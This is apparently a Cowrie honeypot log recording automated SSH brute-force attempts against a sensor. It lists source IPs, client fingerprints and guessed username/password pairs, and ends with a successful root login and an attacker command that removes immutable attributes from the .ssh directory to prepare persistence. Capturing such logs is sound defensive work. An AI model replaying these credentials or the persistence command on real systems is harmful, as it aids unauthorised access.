{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:59.525298Z","src_ip":"172.173.117.246","session":"4b5969e890db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edu","password":"edu@123","message":"login attempt [edu/edu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:38:59.726211Z","src_ip":"172.173.117.246","session":"4b5969e890db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:00.774358Z","src_ip":"172.173.117.246","session":"4b5969e890db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":56516,"dst_ip":"159.203.135.109","dst_port":22,"session":"14c5cbb8d341","protocol":"ssh","message":"New connection: 45.121.147.48:56516 (159.203.135.109:22) [session: 14c5cbb8d341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:14.726312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:14.730844Z","src_ip":"45.121.147.48","session":"14c5cbb8d341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:14.957409Z","src_ip":"45.121.147.48","session":"14c5cbb8d341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bai","password":"1234","message":"login attempt [bai/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:15.912339Z","src_ip":"45.121.147.48","session":"14c5cbb8d341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:17.141343Z","src_ip":"45.121.147.48","session":"14c5cbb8d341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":50278,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb52e74e332c","protocol":"ssh","message":"New connection: 2.57.122.96:50278 (159.203.135.109:22) [session: bb52e74e332c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:37.213400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:37.217648Z","src_ip":"2.57.122.96","session":"bb52e74e332c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:37.321068Z","src_ip":"2.57.122.96","session":"bb52e74e332c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:37.639996Z","src_ip":"2.57.122.96","session":"bb52e74e332c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:39:38.746113Z","src_ip":"2.57.122.96","session":"bb52e74e332c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":45672,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb92c3c34c65","protocol":"ssh","message":"New connection: 172.172.196.177:45672 (159.203.135.109:22) [session: cb92c3c34c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:09.220896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:09.226740Z","src_ip":"172.172.196.177","session":"cb92c3c34c65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:09.240259Z","src_ip":"172.172.196.177","session":"cb92c3c34c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beehive","password":"Beehive123","message":"login attempt [beehive/Beehive123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:09.320984Z","src_ip":"172.172.196.177","session":"cb92c3c34c65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:10.339465Z","src_ip":"172.172.196.177","session":"cb92c3c34c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":56302,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf57e2fa3ba3","protocol":"ssh","message":"New connection: 150.95.157.171:56302 (159.203.135.109:22) [session: bf57e2fa3ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:22.902678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:22.907330Z","src_ip":"150.95.157.171","session":"bf57e2fa3ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:23.074317Z","src_ip":"150.95.157.171","session":"bf57e2fa3ba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marco","password":"Marco123!","message":"login attempt [marco/Marco123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:23.746558Z","src_ip":"150.95.157.171","session":"bf57e2fa3ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:24.911951Z","src_ip":"150.95.157.171","session":"bf57e2fa3ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":55326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0107c412eb4","protocol":"ssh","message":"New connection: 172.173.117.246:55326 (159.203.135.109:22) [session: b0107c412eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:56.044878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:56.049867Z","src_ip":"172.173.117.246","session":"b0107c412eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:56.095222Z","src_ip":"172.173.117.246","session":"b0107c412eb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ais","password":"Ais123!","message":"login attempt [ais/Ais123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:56.307289Z","src_ip":"172.173.117.246","session":"b0107c412eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:40:57.352388Z","src_ip":"172.173.117.246","session":"b0107c412eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":45538,"dst_ip":"159.203.135.109","dst_port":22,"session":"6014c1278c27","protocol":"ssh","message":"New connection: 1.214.117.218:45538 (159.203.135.109:22) [session: 6014c1278c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:17.120527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:17.125403Z","src_ip":"1.214.117.218","session":"6014c1278c27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:17.335155Z","src_ip":"1.214.117.218","session":"6014c1278c27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beehive","password":"Beehive123","message":"login attempt [beehive/Beehive123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:18.206657Z","src_ip":"1.214.117.218","session":"6014c1278c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:19.419775Z","src_ip":"1.214.117.218","session":"6014c1278c27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":36014,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8beb0e055f7","protocol":"ssh","message":"New connection: 45.121.147.48:36014 (159.203.135.109:22) [session: e8beb0e055f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:32.173901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:32.179159Z","src_ip":"45.121.147.48","session":"e8beb0e055f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:32.411298Z","src_ip":"45.121.147.48","session":"e8beb0e055f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456","message":"login attempt [sam/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:33.370112Z","src_ip":"45.121.147.48","session":"e8beb0e055f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:41:34.604727Z","src_ip":"45.121.147.48","session":"e8beb0e055f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":60702,"dst_ip":"159.203.135.109","dst_port":22,"session":"516dbb01ef37","protocol":"ssh","message":"New connection: 172.172.196.177:60702 (159.203.135.109:22) [session: 516dbb01ef37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.248559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.253372Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.264054Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e!Q@W#E","message":"login attempt [root/1q2w3e!Q@W#E] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.337824Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.395130Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:09.398197Z","src_ip":"172.172.196.177","session":"516dbb01ef37","protocol":"ssh"}
